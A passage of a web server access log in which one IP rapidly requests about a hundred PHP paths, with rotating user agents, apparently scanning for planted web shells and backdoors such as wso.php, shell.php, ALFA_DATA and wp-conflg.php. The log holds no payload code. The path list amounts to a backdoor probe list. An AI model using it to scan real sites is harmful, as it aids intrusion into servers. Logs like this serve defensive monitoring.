[05/Apr/2026:18:50:03 +0300] "GET /wp-content/themes/classic/inc/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:03 +0300] "GET /wp-admin/post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:04 +0300] "GET /lib/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:04 +0300] "GET /Assets/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:04 +0300] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:04 +0300] "GET /assets/bootstrap-fileupload/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:04 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:04 +0300] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:04 +0300] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:04 +0300] "GET /assets/jquery-ui/images/lock2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:04 +0300] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:04 +0300] "GET /wp-includes/Requests/library/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:04 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /admin/controller/extension/extension/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/uss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:05 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /fog/management/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /images/wp-aespa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:06 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:07 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:07 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:07 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:07 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:07 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:07 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:07 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:07 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:07 +0300] "GET /.well-known/save.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:07 +0300] "GET /wp-includes/feed-rsss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:07 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:08 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:09 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /ar/wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /admin/user_data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:10 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:11 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 